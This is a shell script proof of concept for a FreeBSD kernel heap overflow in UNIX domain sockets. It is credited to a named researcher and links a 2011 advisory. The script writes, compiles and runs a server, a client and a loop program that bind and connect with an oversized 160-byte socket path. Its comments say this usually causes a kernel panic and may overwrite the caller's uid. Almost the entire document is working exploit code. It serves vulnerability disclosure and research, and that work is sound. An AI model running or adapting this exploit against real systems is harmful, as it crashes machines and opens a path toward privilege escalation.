#!/bin/sh # # fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11 # # proof-of-concept crash for the freebsd unix domain sockets heap # overflow. this was tested on freebsd 8.2-RELEASE. just a PoC for now. # # see advisory & patches for details: # http://www.securityfocus.com/archive/1/519864/30/0/threaded # # this PoC will usually result in a kernel panic with a read access # violation at 0x616161XX but sometimes the kernel will not crash straight # away (particularly if you shorten the length of 'sun_path' -- try 140 bytes), # and your uid (see output of `id`) may have been modified to the # decimal equivalent of 0x61616161 during the heap smash
# write server code to srv.c cat > srv.c << _EOF #include <stdio.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <unistd.h> #include <string.h>
struct socky { short sun_family; char sun_path[160]; };
int connhandler(int incoming) { char buffer[256]; int n = 0;
n = read(incoming, buffer, 256); buffer[n] = 0;
printf("%s\n", buffer); n = sprintf(buffer, "fbsd uipc socket heap overflow"); write(incoming, buffer, n); close(incoming); return 0; }
int main(void) { struct socky overfl0w; int sock, incoming; socklen_t alen; pid_t child; char buf[160]; sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; }
memset(&overfl0w, 0, sizeof(struct socky));
overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf)); buf[sizeof(buf)-1] = 0x00; strcpy(overfl0w.sun_path, buf);
if(bind(sock, (struct sockaddr *)&overfl0w, sizeof(struct socky)) != 0) { printf("bind() failed!\n"); return 1; }
if(listen(sock, 5) != 0) { printf("listen() failed!\n"); return 1; }
while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1) { child = fork(); if(child == 0) { return connhandler(incoming); } close(incoming); }
close(sock); return 0; } _EOF
gcc srv.c -o srv
# write the client code to client.c cat > client.c << _EOF #include <stdio.h> #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> #include <string.h>
struct socky { short sun_family; char sun_path[160]; };
int main(void) { struct socky overfl0w; int sock, n; char buffer[256], buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; }
/* start with a clean address structure */ memset(&overfl0w, 0, sizeof(struct sockaddr_un)); overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf)); buf[sizeof(buf)-1] = 0x00; strcpy(overfl0w.sun_path, buf);
if(connect(sock, (struct sockaddr *)&overfl0w, sizeof(struct socky)) != 0) { printf("connect() failed!\n"); return 1; }
n = snprintf(buffer, 256, "panic"); write(sock, buffer, n); n = read(sock, buffer, 256); buffer[n] = 0;
printf("%s\n", buffer);
close(sock); return 0; } _EOF
gcc client.c -o client
# crash doesn't happen straight away, so loop the client to speed it up cat > loop.c << _EOF #include <stdio.h>
int main() { int i; for(i = 0; i < 1000; i++) { system("./client"); } } _EOF
gcc loop.c -o loop
./srv & ./loop
|